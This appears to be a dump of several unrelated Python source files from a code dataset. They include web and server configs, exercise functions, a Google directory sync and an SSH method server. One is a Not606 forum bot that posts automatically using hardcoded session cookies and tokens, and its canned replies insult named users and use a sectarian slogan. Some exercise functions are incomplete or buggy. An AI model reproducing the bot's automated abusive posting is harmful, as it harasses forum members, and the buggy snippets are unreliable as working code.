cumSumSq += nj*float(instance[2])\n\nmean = cumVal/cumN\nvarSum = (cumSumSq - 2*mean*cumVal + cumN*mean*mean)/cumN\nprint(\"%d\\t%f\\t%f\" % (cumN, mean, cumSumSq))\nprint(\"report: still alive\", file=sys.stderr)\n\n\"\"\"\ncat inputFile.txt | python mrMeanMapper.py | python mrMeanReducer.py\npython mrMeanMapper.py < inputFile.txt | python mrMeanReducer.py\n\"\"\"","sub_path":"Tools/MapReduce/mrMeanReducer.py","file_name":"mrMeanReducer.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"96389808","text":"\"\"\"pyqi URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom tweb.views import classes\nfrom tweb.views import students,ajax\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('classes.html',classes.get_classes),\n path('add_classes.html',classes.add_classes),\n path('del_classes.html',classes.del_classes),\n path('edit_classes.html',classes.edit_classes),\npath('set_teacher.html',classes.set_teacher),\n\npath('students.html',students.get_students),\npath('add_students.html',students.add_students),\npath('del_students.html',students.del_students),\npath('edit_students.html',students.edit_students),\npath('ajax1.html',ajax.ajax1),\npath('ajax2.html',ajax.ajax2),\npath('ajax3.html',ajax.ajax3),\npath('ajax4.html',ajax.ajax4),\n\n]\n","sub_path":"pyqi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"223192609","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\n@author: youfeng\n@email: youfeng243@163.com\n@license: Apache Licence\n@file: gun.config.py\n@time: 2017/8/28 20:45\n\"\"\"\n\nimport multiprocessing\n\n# 监听本机的8081端口\nbind = '0.0.0.0:8081'\n\n# preload_app = True\n\n# 开启进程\nworkers = multiprocessing.cpu_count() * 2 + 1\n\n# 每个进程的开启线程\nthreads = multiprocessing.cpu_count() * 2\n\nbacklog = 2048\n\n# 工作模式为meinheld\nworker_class = \"egg:meinheld#gunicorn_worker\"\n\n# 如果不使用supervisord之类的进程管理工具可以是进程成为守护进程,否则会出问题\ndaemon = True\n\n# 进程名称\nproc_name = 'file_server.proc'\n\n# # 进程pid记录文件\n# pidfile = 'log/share-bar-server.pid'\n\nloglevel = 'info'\naccesslog = 'log/access.log'\nerrorlog = 'log/gunicorn.log'\n\n# 接受最大请求数然后重启进程\nmax_requests = 1000000\nmax_requests_jitter = 500000\ntimeout = 1200000\n# 最大支持10M\nlimit_request_line = 0\nlimit_request_field_size = 0\nx_forwarded_for_header = 'X-FORWARDED-FOR'\n","sub_path":"version_file/gun.config.py","file_name":"gun.config.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"425737134","text":"def count_max_letters(s1, s2, letter):\n '''(str, str, str) -> int\n\n s1 and s2 are strings, and letter is a string of length 1. Count how many\n times letter appears in s1 and in s2, and return the bigger of the two\n counts.\n\n >>> count_max_letters('hello', 'world', 'l')\n 2\n >>> count_max_letters('cat', 'abracadabra', 'a')\n 5\n '''\n\n return max(s1.count(letter), s2.count(letter))\n\n\ndef both_start_with(s1, s2, prefix):\n '''(str, str, str) -> bool\n\n Return True if and only if s1 and s2 both start with the letters in prefix.\n '''\n # if s1.startswith(prefix) and s2.startswith(prefix):\n # return True\n # else:\n # return False\n\n return \n\ndef gather_every_nth(L, n):\n '''(list, int) -> list\n\n Return a new list containing every n'th element in L, starting at index 0.\n\n Precondition: n >= 1\n\n >>> gather_every_nth([0, 1, 2, 3, 4, 5], 3)\n [0, 3]\n >>> gather_every_nth(['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i'], 2)\n ['a', 'c', 'e', 'g', 'i']\n '''\n\n result = []\n i = 0\n while i < len(L):\n result.append(L[i])\n i = i + n\n\n return result \n\ndef get_keys(L, d):\n '''(list, dict) -> list\n\n Return a new list containing all the items in L that are keys in d.\n\n >>> get_keys([1, 2, 'a'], {'a': 3, 1: 2, 4: 'w'})\n [1, 'a']\n '''\n\n result = []\n for k in L:\n if k in d:\n result.append(k)\n\n return result\n\ndef are_lengths_of_strs(L1, L2):\n '''(list of int, list of str) -> bool\n\n Return True if and only if all the ints in L1 are the lengths of the strings\n in L2 at the corresponding positions.\n\n Precondition: len(L1) == len(L2)\n\n >>> are_lengths_of_strs([4, 0, 2], ['abcd', '', 'ef'])\n True\n '''\n\n result = True\n for i in range(len(L1)):\n if L1[i] != len(L2[i]):\n result = False\n\n return result\n\ndef double_values(collection):\n for v in range(len(collection)):\n collection[v] = collection[v] * 2\n\ndef get_diagonal_and_non_diagonal(L):\n '''(list of list of int) -> tuple of (list of int, list of int)\n\n Return a tuple where the first item is a list of the values on the\n diagonal of square nested list L and the second item is a list of the rest\n of the values in L.\n\n >>> get_diagonal_and_non_diagonal([[1, 3, 5], [2, 4, 5], [4, 0, 8]])\n ([1, 4, 8], [3, 5, 2, 5, 4, 0])\n '''\n\n diagonal = []\n non_diagonal = []\n for row in range(len(L)):\n for col in range(len(L)):\n\n if row == col:\n diagonal.append(L[row][col])\n\n non_diagonal.append(L[row][col])\n\n return (diagonal, non_diagonal)\n\n\ndef count_chars(s):\n '''(str) -> dict of {str: int}\n\n Return a dictionary where the keys are the characters in s and the values\n are how many times those characters appear in s.\n\n >>> count_chars('abracadabra')\n {'a': 5, 'r': 2, 'b': 2, 'c': 1, 'd': 1}\n '''\n d = {}\n\n for c in s:\n if not (c in d):\n d[c] = 1\n else:\n d[c] = d[c] + 1\n\n return d","sub_path":"final/final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"530374111","text":"from googleapiclient.discovery import build\nfrom google.oauth2 import service_account\nimport pickle\nimport os\n\nSCOPES = ['https://www.googleapis.com/auth/admin.directory.user',\n 'https://www.googleapis.com/auth/admin.directory.group']\nSERVICE_ACCOUNT_FILE = 'audro/.gestion-audronniere-8d7770ff042b.json'\nIMPERSONATE_ACCOUNT = 'assistance.informatique@audronniere.fr'\npath = 'audro/dict/'\n\ndico_users = {}\ndico_groups = {}\n\ndef get_cred():\n return service_account.Credentials.from_service_account_file(SERVICE_ACCOUNT_FILE, scopes=SCOPES).with_subject(IMPERSONATE_ACCOUNT)\n\ndef update_dico():\n dico_users = {}\n dico_groups = {}\n service = build('admin', 'directory_v1', credentials = get_cred())\n#\n#\n response = service.users().list(domain='audronniere.fr',\n orderBy='familyName',\n maxResults=250).execute()\n users = response.get('users')\n if not users:\n print('No users in the domain')\n else:\n for user in users:\n dico_users.update({user['primaryEmail']: user['id']})\n save_dico(dico_users, 'users')\n#\n#\n response = service.groups().list(domain='audronniere.fr',\n maxResults=250).execute()\n groups = response.get('groups')\n if not groups:\n print('No groups in the domain.')\n else:\n for group in groups:\n dico_groups.update({group['email']: group['id']}) \n save_dico(dico_groups, 'groups')\n\ndef save_dico(obj, name):\n if os.path.exists(path + name + '.pkl'):\n os.remove(path + name + '.pkl')\n with open(path + name + '.pkl', 'wb') as f:\n pickle.dump(obj, f, pickle.HIGHEST_PROTOCOL)\n","sub_path":"dict/dico_update.py","file_name":"dico_update.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"337773066","text":"import json\nimport remote_methods\nimport configparser\nfrom ssh_server import SSHServer\n\n# This method is called whenever a message is received down the SSH\n# connection. It will decode the JSON and execute the specified method\n# from the \"remote_message\" plugin then send the result back up the SSH\n# connection encoded as JSON. The \"srv\" argument is an instance of the\n# SSHServer class and can be used to send data back up the connection\ndef server_message_received(srv, msg):\n request = json.loads(msg)\n\n # Check that the method requested is allowed to be called remotely\n if request['method'] in remote_methods.permitted_methods:\n # Attempt to call the remote method and catch errors if the system\n # did not expect the given method in its current state or if the\n # specified plugin could not be found in the system\n try:\n method = getattr(remote_methods, request['method'])\n result = method(**request['arguments'])\n error = False\n except remote_methods.PluginNotFoundException:\n result = \"plugin_not_found\"\n error = True\n else:\n result = \"invalid_method\"\n error = True\n\n # Format the data obtained above into the correct JSON string and then\n # send this back to the connected system through the SSH connection\n response = json.dumps({\"error\": error, \"result\": result})\n srv.send(response)\n\nif __name__ == \"__main__\":\n print(\"Chaac client starting up...\")\n # Load in the configuration file\n config = configparser.ConfigParser()\n config.read(\"config.ini\")\n\n # Create an instance of the SSH server, set the callback method that\n # will be executed whenever a message is receieved down the connection\n # and then start the SSH server running\n server = SSHServer( port=int(config['SSH Server']['Port']),\n buffer_size=int(config['SSH Server']['SocketBacklog']),\n backlog=int(config['SSH Server']['ReceiveBufferSize']),\n keys_directory=config['Keys']['KeysDirectory'],\n host_key_file=config['Keys']['HostKeyFile'],\n authorized_keys_file=config['Keys']['AuthorizedKeysFile'])\n server.message_received_callback = server_message_received\n print(\"Starting SSH server...\")\n server.start()\n","sub_path":"client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"180519806","text":"from tkinter import *\nfrom tkinter import ttk\n\nfrom tkinter_façade import movement\nfrom tkinter_façade.results import Results\nfrom tkinter_façade.transaction import Transaction\n\n\n_width='900'\n\nclass Conversor(ttk.Frame):\n def __init__(self, parent):\n ttk.Frame.__init__(self, width='900', height='600')\n self.new_transaction_btn = ttk.Button(self, text ='Nueva transacción', command=lambda: self.new_transaction_conversor(), width=18)\n self.new_transaction_btn.place(x=600, y=233)\n\n self.clear_button = ttk.Button(self, text='Clear', command=lambda: self.clear_transactions(),\n width=15)\n self.clear_button.place(x=740, y=233)\n\n self.movements =movement.Movement(self, height=240, width= _width)\n self.movements.place(x=20,y=20)\n\n self.newTransaction= Transaction(self, height=220, width=_width)\n self.newTransaction.place(x=40, y=260)\n\n self.results = Results(self, height=100, width=_width)\n self.results.place(x=40, y=500)\n\n def print_movements(self):\n self.movements.print_movements()\n self.movements.update_scroll_view()\n \n def new_transaction_conversor(self):\n self.newTransaction.switchNewTransaction(TRUE)\n self.results.resetLabels()\n\n def clear_transactions(self):\n self.movements.clear_movements()","sub_path":"Desktop/Final_BT0_KC/tkinter_façade/conversor.py","file_name":"conversor.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"38436241","text":"#!/usr/bin/python3\n\nimport sys\nfrom pocketlint import PocketLintConfig, PocketLinter\n\nclass TranslationCanaryLintConfig(PocketLintConfig):\n @property\n def disabledOptions(self):\n return [ \"W9930\", # Found interruptible system call %s\n \"I0011\", # Locally disabling %s\n ]\n\nif __name__ == \"__main__\":\n conf = TranslationCanaryLintConfig()\n linter = PocketLinter(conf)\n rc = linter.run()\n sys.exit(rc)\n","sub_path":"tests/pylint/runpylint.py","file_name":"runpylint.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"202487930","text":"#/usr/bin/env python3\nfrom bs4 import BeautifulSoup\nimport requests\nimport random\nimport sys\nimport re\n\n\nclass Bot:\n ''' Not606 bot for automating forum functions '''\n\n def __init__(self, username, password):\n self.username = username\n self.password = password\n self.session = requests.session()\n\n\n def login(self):\n login_url = 'https://not606.com/login/login'\n login_cookies = {'xf_mce_ccv': 'XenForo_ControllerPublic_Register%2CRegister%2CXenForo_ViewPublic_Register_Process'}\n login_headers = {'User-Agent': 'Mozilla/5.0'}\n login_data = {\n 'login': self.username, \n 'password': self.password,\n 'remember': '1',\n 'cookie_check': '1',\n '_xfToken': '',\n 'redirect': 'https://not606.com/'\n } \n\n r = self.session.post(login_url, headers=login_headers, cookies=login_cookies, data=login_data)\n \n if 'LoggedIn' not in r.text:\n print('Login failed')\n sys.exit()\n\n \n def quote(self, post_id):\n quote_url = f'https://not606.com:443/posts/{post_id}/quote'\n headers = {'User-Agent': 'Mozilla/5.0'}\n quote_data={'_xfResponseType': 'json'}\n \n r = requests.post(quote_url, data=quote_data)\n \n return r.json()['quote']\n\n\n def like(self, post_id):\n like_url = f'https://not606.com:443/posts/{post_id}/like'\n like_cookies = {\n \"xf_session\": \"c9f8b4c437c21da8d1559df300855257\",\n \"xf_user\": \"1047288%2Cbc1c39168e1699a5e8bbb8fccd5090d1e9ed9b72\",\n \"xf_mce_ccv\": \"XenForo_ControllerPublic_Post%2CLike%2CXenForo_ViewPublic_Post_Like\"\n }\n like_data = {\"_xfToken\": \"1047288,1533598172,d936079037a7c7363e965ccad1dad9bb25cc4d31\"}\n \n self.session.post(like_url, cookies=like_cookies, data=like_data)\n\n\n def post(self, thread_url, reply, quote):\n if quote is not None:\n reply = quote + reply\n\n page_num = thread_url.split('/')[-1]\n\n post_url = thread_url.strip(page_num) + 'add-reply'\n post_cookies = {\n \"xf_user\": \"1047288%2Cbc1c39168e1699a5e8bbb8fccd5090d1e9ed9b72\",\n \"xf_session\": \"6753756e9cce2402c020db69ebcae320\",\n \"xf_mce_ccv\": \"XenForo_ControllerPublic_Thread%2CIndex%2CXenForo_ViewPublic_Thread_View\"\n }\n post_headers = {\"User-Agent\": 'Mozilla/5.0'}\n post_data = {\n \"message_html\": '

' + reply + '

',\n \"_xfRelativeResolver\": thread_url,\n \"_xfToken\": \"1047288,1534874817,040f337d3e310091726c44172ad1f254a1d65f37\",\n \"_xfResponseType\": \"json\"\n }\n\n self.session.post(post_url, headers=post_headers, cookies=post_cookies, data=post_data)\n\n\n\nclass Spider:\n ''' Performs post and thread searches on Not606 forum '''\n\n def page_count(self, url):\n r = requests.get(url, headers={'User-Agent': 'Mozilla/5.0'})\n soup = BeautifulSoup(r.text, 'lxml')\n try:\n return int(soup.find('div', {'class':'PageNav'})['data-last'])\n except:\n return 1\n\n\n def user_threads(self, forum_url, user):\n ''' Searches a forum for threads created by specific user'''\n pages = self.page_count(forum_url)\n\n thread_links = []\n\n for i in range(1, pages + 1):\n r = requests.get(forum_url + f'page-{i}', headers={'User-Agent': 'Mozilla/5.0'})\n soup = BeautifulSoup(r.text, 'lxml')\n\n for thread in soup.find_all('li', {'class': 'discussionListItem'}):\n if user in thread['data-author']:\n thread_links.append('https://not606.com/' + thread.find_next('a', {'class': 'PreviewTooltip'})['href'])\n\n return thread_links\n\n\n def user_posts(self, thread_url, user, bot):\n ''' Searches a thread for posts by specific user '''\n posts = []\n pages = self.page_count(thread_url)\n\n for i in range(6, pages + 1):\n r = requests.get(thread_url + f'page-{i}', headers={'User-Agent': 'Mozilla/5.0'})\n soup = BeautifulSoup(r.text, 'lxml')\n\n for post in soup.find_all('li', {'class': 'sectionMain'}):\n if user == post['data-author']:\n pass\n\n return posts\n\n\n def thread_search(self, forum_url, search_term):\n ''' Searches forum for a given term in thread titles '''\n threads = []\n pages = self.page_count(forum_url)\n\n for i in range(1, pages + 1):\n r = requests.get(forum_url + f'page-{i}', headers={'User-Agent': 'Mozilla/5.0'})\n soup = BeautifulSoup(r.text, 'lxml')\n\n for thread in soup.find_all('a', {'class': 'PreviewTooltip'}):\n if search_term in thread.text:\n threads.append('https://not606.com/' + thread['href'])\n\n return threads\n\n\n def post_search(self, posts, search_terms):\n ''' Searches for given terms in posts '''\n matches = {}\n\n for post in posts:\n for term in search_terms:\n if term in post.lower():\n matches[post] = posts[post]\n break\n\n return matches\n\n\n def follow_user(self, forum_url, users, bot):\n r = requests.get(forum_url, headers={'User-Agent': 'Mozilla/5.0'})\n soup = BeautifulSoup(r.text, 'lxml')\n\n threads = soup.find_all('li', {'class': 'discussionListItem'})\n\n for thread in threads[:8]:\n for user in users:\n if user in thread.find_next('dl', {'class': 'lastPostInfo'}).text:\n thread_pages = thread.find_next('span', {'class': 'itemPageNav'}).find_all('a')\n thread_url = 'https://not606.com/' + thread_pages[-1]['href']\n r = requests.get(thread_url, headers={'User-Agent': 'Mozilla/5.0'})\n soup = BeautifulSoup(r.text, 'lxml')\n\n posts = soup.find_all('li', {'class': 'sectionMain'})\n for user in users:\n if user == posts[-1]['data-author']:\n quote = bot.quote(posts[-1]['id'].strip('post-'))\n reply = ''\n bot.post(thread_url, reply, quote)\n break\n\n\n def get_scores(self, thread_url, scores, country, post):\n reply = ''\n for league in scores:\n for key in league:\n for div in country:\n if div in key.lower():\n reply += '{}
'.format(key)\n for match in league[key]:\n reply += match + '
'\n reply += '
'\n\n if reply == '':\n reply = 'No games in this league today.'\n\n quote = bot.quote(post['id'].strip('post-'))\n bot.post(thread_url, reply, quote)\n\n\n def all_scores(self, thread_url, scores, post):\n reply = ''\n for league in scores:\n for key in league:\n reply += '{}
'.format(key)\n for match in league[key]:\n reply += match + '
'\n reply += '
'\n\n quote = bot.quote(post['id'].strip('post-'))\n bot.post(thread_url, reply, quote)\n\n \n def shrimpy(self, forum_url, bot):\n headers={'User-Agent': 'Mozilla/5.0'}\n r = requests.get(forum_url, headers=headers)\n soup = BeautifulSoup(r.content, 'lxml')\n \n threads = soup.find_all('a', {'class': 'PreviewTooltip'})\n\n for thread in threads[:8]:\n try:\n thread_pages = thread.find_next('span', {'class': 'itemPageNav'}).find_all('a')\n thread_url = 'https://not606.com/' + thread_pages[-1]['href']\n except AttributeError:\n thread_url = 'https://not606.com/' + thread['href']\n r = requests.get(thread_url, headers=headers)\n soup = BeautifulSoup(r.text, 'lxml')\n\n posts = soup.find_all('li', {'class': 'sectionMain'})[-1]\n if posts['id'] in posts_read or posts['data-author'] == 'The Shrimp':\n continue\n else:\n posts_read.append(posts['id'])\n\n post = posts.text.lower()\n\n if 'shrimp' in post:\n if 'news' in post:\n if 'celtic' in post or 'tic' in post or 'tim' in post or 'pape' in post:\n r = requests.get('https://celticfcnews.com/', headers=headers)\n soup = BeautifulSoup(r.content, 'lxml')\n\n links = soup.find('div', {'class': 'content'}).find_all('a', {'class': 'headline'})\n \n reply = ''\n \n for link in links:\n a = link['href']\n text = link.text\n reply += '[URL={}]{}[/URL]

'.format(a, text)\n\n quote = bot.quote(posts['id'].strip('post-'))\n bot.post(thread_url, reply, quote)\n\n elif 'ranger' in post or 'hun' in post:\n r = requests.get('https://rangersfcnews.com/', headers=headers)\n soup = BeautifulSoup(r.content, 'lxml')\n links = soup.find('div', {'class': 'content'}).find_all('a', {'class': 'headline'})\n reply = ''\n \n for link in links:\n a = link['href']\n text = link.text\n reply += '[URL={}]{}[/URL]

'.format(a, text)\n\n quote = bot.quote(posts['id'].strip('post-'))\n bot.post(thread_url, reply, quote)\n\n elif 'aberdeen' in post or 'dons' in post:\n quote = bot.quote(posts['id'].strip('post-'))\n bot.post(thread_url, 'Never heard of them, mate.', quote)\n\n else:\n quote = bot.quote(posts['id'].strip('post-'))\n bot.post(thread_url, 'I had the news regarding that, but I destroyed it, and its a painful process to get it back again.', quote)\n \n elif 'scores' in post or 'fixtures' in post or 'games' in post:\n r = requests.get('https://www.sportinglife.com/football/live', headers=headers)\n soup = BeautifulSoup(r.text, 'lxml')\n\n scores = []\n comps = soup.find_all('div', {'class': 'FootballMatchList'})\n\n for comp in comps:\n league = {}\n league_matches = []\n matches = comp.find_all('div', {'class': 'footballMatchListItem'})\n for match in matches:\n try:\n time = match.find('div', {'class': 'liveScoreMinutes'}).text\n except:\n time = match.find('div', {'class': 'matchTime'}).text\n team_a = match.find('div', {'class': 'teamA'}).text\n score = match.find('div', {'class': 'scoreString'}).text\n team_b = match.find('div', {'class': 'teamB'}).text\n league_matches.append('{} {} {} {}\\n'.format(time, team_a, score, team_b))\n \n league[comp.find_next('h2', {'class': 'sectionTitle'}).text] = league_matches\n scores.append(league)\n \n if 'spl' in post or 'scottish' in post or 'scotland' in post:\n self.get_scores(thread_url, scores, ['scottish'], posts)\n elif 'epl' in post or 'english' in post or 'england' in post:\n self.get_scores(thread_url, scores, ['english', 'sky bet'], posts)\n elif 'serie a' in post or 'italian' in post or 'italy' in post:\n self.get_scores(thread_url, scores, ['italian'], posts)\n elif 'la liga' in post or 'spanish' in post or 'spain' in post:\n self.get_scores(thread_url, scores, ['spanish'], posts)\n elif 'ligue un' in post or 'french' in post or 'france' in post:\n self.get_scores(thread_url, scores, ['french'], posts)\n elif 'eredivisie' in post or 'dutch' in post or 'holland' in post:\n self.get_scores(thread_url, scores, ['dutch'], posts)\n elif 'primiera liga' in post or 'portuguese' in post or 'portugal' in post:\n self.get_scores(thread_url, scores, ['portuguese'], posts)\n elif 'bundesliga' in post or 'german' in post:\n self.get_scores(thread_url, scores, ['german'], posts)\n elif 'super lig' in post or 'turkish' in post or 'turkey' in post:\n self.get_scores(thread_url, scores, ['turkish'], posts)\n elif 'mls' in post or 'us' in post or 'american' in post:\n self.get_scores(thread_url, scores, ['us '], posts)\n elif 'cl' in post or 'champions league' in post:\n self.get_scores(thread_url, scores, ['champions league'], posts)\n elif 'europa' in post:\n self.get_scores(thread_url, scores, ['europa'], posts)\n else:\n self.all_score(thread_url, scores, posts)\n \n elif 'weather' in post:\n r = requests.get('https://www.forecast.co.uk/', headers=headers)\n soup = BeautifulSoup(r.text, 'lxml')\n\n for city in soup.find_all('li', {'class': re.compile('city-.*')}):\n if city.find_next('h4').text.lower() in post:\n name = city.find_next('h4').text\n weather = city.find_next('dd', {'class': 'weather'}).text\n temp = city.find_next('dd', {'class': 'temp'}).text\n reply = 'The weather in {} is {}. The temperature is {}'.format(name, weather.lower(), temp)\n quote = bot.quote(posts['id'].strip('post-'))\n bot.post(thread_url, reply, quote)\n else:\n quote = bot.quote(posts['id'].strip('post-'))\n bot.post(thread_url, 'Try a geolocation which isnt the arse end of nowhere. UK only, GSTQ.', quote)\n elif 'monny' in post or 'lain' in post:\n quote = bot.quote(posts['id'].strip('post-'))\n bot.post(thread_url, 'What do I think about Monny aka Lain? Despicable bastard, mate.', quote)\n elif 'earth' in post and 'shape' in post:\n quote = bot.quote(posts['id'].strip('post-'))\n bot.post(thread_url, 'The data strongly suggests that the earth is flat. You can find evidence of this all around the globe.', quote)\n elif ' ira ' in post:\n quote = bot.quote(posts['id'].strip('post-'))\n bot.post(thread_url, 'Tiocfaidh Ar la. KAH', quote)\n elif 'tina' in post:\n quote = bot.quote(posts['id'].strip('post-'))\n bot.post(thread_url, 'I see you have mentioned the 10IAR Mags Haney lookalike champion, do you want details regarding next years contest?', quote)\n elif 'thoughts' in post:\n if 'todo' in post:\n pass\n else:\n quote = bot.quote(posts['id'].strip('post-'))\n bot.post(thread_url, 'I cant think for myself and have not been told what to think about this yet. In many ways im like Dev.', quote)\n else:\n quote = bot.quote(posts['id'].strip('post-'))\n bot.post(thread_url, 'Nae idea, mate, av git lernin dificultees', quote)\n\n\nif __name__ == '__main__':\n bot = Bot('username', 'password')\n bot.login()\n spider = Spider()\n posts_read = []\n\n while True:\n spider.shrimpy('https://not606.com/forums/general-chat.2/', bot)\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":16577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"56461064","text":"# Given a collection of numbers that might contain duplicates, return all possib\n# le unique permutations. \n# \n# Example: \n# \n# \n# Input: [1,1,2]\n# Output:\n# [\n# [1,1,2],\n# [1,2,1],\n# [2,1,1]\n# ]\n# \n# Related Topics 回溯算法 \n# 👍 355 👎 0\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution(object):\n # 这题可以用swap的想法,比较巧妙,但思路还是递归回朔\n\n # 额外O(N)空间,但是更清楚,几乎可以当模板\n def permuteUniqueStandard(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n\n def helper(path):\n if len(path) == n:\n res.append(path[:])\n return\n\n for i in range(len(nums)):\n if not used[i]:\n if i > 0 and nums[i] == nums[i - 1] and not used[i - 1]:\n continue\n path.append(nums[i])\n used[i] = True\n helper(path)\n path.pop()\n used[i] = False\n\n if not nums: return []\n res, n = [], len(nums)\n nums.sort()\n used = [False for _ in range(len(nums))]\n helper([])\n return res\n\n # O(1)空间,用过的元素直接砍掉,没有之前那么逻辑清晰\n def permuteUniqueRemove(self, nums):\n def helper(path, nums):\n if not nums:\n res.append(path[:])\n return\n\n for i in range(len(nums)):\n if i > 0 and nums[i] == nums[i - 1]:\n continue\n helper(path + [nums[i]], nums[:i] + nums[i + 1:])\n\n res = []\n nums.sort()\n helper([], nums)\n return res\n\n# leetcode submit region end(Prohibit modification and deletion)\n","sub_path":"Week_02/[47]Permutations II.py","file_name":"[47]Permutations II.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"649937433","text":"import arch\nimport tools.check_file\nimport util\nimport sys\nimport fnmatch\nimport os\n\nskip_check = False\nfor arg in sys.argv:\n if arg == '--skip-file-check':\n skip_check = True\n\n\nclass check_source(arch.arch):\n def check_mtime(self, cur, file):\n if not os.path.isfile(file):\n return True\n dbfile = util.get_db_name(file)\n # check mtime in db using dbfile compare to os.stat\n # if not exist in db or stat mtime is newer return True\n cur.execute('SELECT mtime FROM files WHERE file = ?',\n (dbfile,))\n res = cur.fetchall()\n if len(res):\n if res[0][0] < os.stat(file).st_mtime:\n return True\n return False\n return True\n\n def update_mtime(self, file):\n cur = self.db.cursor()\n dbfile = util.get_db_name(file[0])\n mtime = os.stat(os.path.join(util.get_mossy_path(), dbfile)).st_mtime\n cur.execute('UPDATE files SET mtime = ? WHERE file = ?',\n (mtime, file[0]))\n if not cur.rowcount:\n cur.execute('INSERT INTO files (mtime, file) VALUES (?,?)',\n (mtime, file[0]))\n self.db_dirty = True\n\n def get_dirty_files(self):\n cur = self.db.cursor()\n dirty = []\n for root, dirs, files in os.walk(os.path.join(util.get_mossy_path(),\n 'srcs')):\n for file in (fnmatch.filter(files, '*.cpp') +\n fnmatch.filter(files, '*.c') +\n fnmatch.filter(files, '*.h') +\n fnmatch.filter(files, '*.hpp')):\n file = util.get_db_name(os.path.join(root, file))\n if self.check_mtime(cur, file):\n dirty.append((file, ))\n return dirty\n\n def get_depends(self, file):\n return []\n\n def clean_file(self, file):\n if not skip_check and not tools.check_file.check_file(file[0]):\n return False\n self.update_mtime(file)\n return True\n\n\ndef get_db_name():\n return 'check_soure.db'\n\n\ndef get_class(db):\n return check_source(db)\n","sub_path":".build/arches/check_source.py","file_name":"check_source.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"404810534","text":"def solution(array,commands):\n answer = []\n for i in range(len(commands)):\n a = commands[i][0]\n b = commands[i][1]\n c = commands[i][2]\n array2 = array[a-1:b]\n array2.sort()\n answer.append(array2[c-1])\n\n return answer\n\nprint(solution([1,5,2,6,3,7,4],[[2,5,3],[4,4,1],[1,7,3]]))\n\n","sub_path":"알고리즘/2020/20201130/k번째 수.py","file_name":"k번째 수.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"312232889","text":"from setuptools import setup\r\n\r\nimport myextension as ext\r\n\r\n\r\npackage = 'sloth_ci.ext'\r\n\r\nsetup(\r\n name=ext.__title__,\r\n version=ext.__version__,\r\n author=ext.__author__,\r\n description=ext.__description__,\r\n long_description=ext.__doc__,\r\n author_email=ext.__author_email__,\r\n url='https://bitbucket.org/sloth-ci/sloth-ci-extensions',\r\n py_modules=['%s.%s' % (package, ext.__name__)],\r\n packages=[package],\r\n package_dir={package: '.'},\r\n install_requires = [\r\n 'sloth-ci>=2.0.1'\r\n ],\r\n license='MIT',\r\n classifiers=[\r\n 'Development Status :: 1 - Planning',\r\n 'Programming Language :: Python',\r\n 'Programming Language :: Python :: 3']\r\n)\r\n","sub_path":"docs/dev/_samples/myextension/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"481568166","text":"################################################################################################################################################\n#\n# GD-77 Firmware uploader. By Roger VK3KYY\n#\n# This script has only been tested on Windows, it may or may not work on Linux or OSX\n#\n# On Windows,..\n# the driver the system installs for the GD-77, which is the HID driver, needs to be replaced by the LibUSB-win32 using Zadig\n# for USB device with idVendor=0x15a2, idProduct=0x0073\n# Once this driver is installed the CPS and official firmware loader will no longer work as they can't find the device\n# To use the CPS etc again, use the DeviceManager to uninstall the driver associated with idVendor=0x15a2, idProduct=0x0073 (this will appear as a libusb-win32 device)\n# Then unplug the GD-77 and reconnect, and the HID driver will be re-installed\n#\n################################################################################################################################################\nimport usb\nimport time\nfrom array import array\n\n# Globals\nresponseOK =[0x03,0x00,0x01,0x00,0x41]\n\n\n\n\n########################################################################\n# Utilities to dump hex for testing\n########################################################################\ndef hexdump(buf):\n i = 0\n cbuf = \"\"\n for b in buf:\n cbuf = cbuf + \"0x%0.2X \" % ord(b)\n return cbuf\n\ndef hexdumpArray(buf):\n i = 0\n cbuf = \"\"\n for b in buf:\n cbuf = cbuf + \"0x%0.2X \" % b\n return 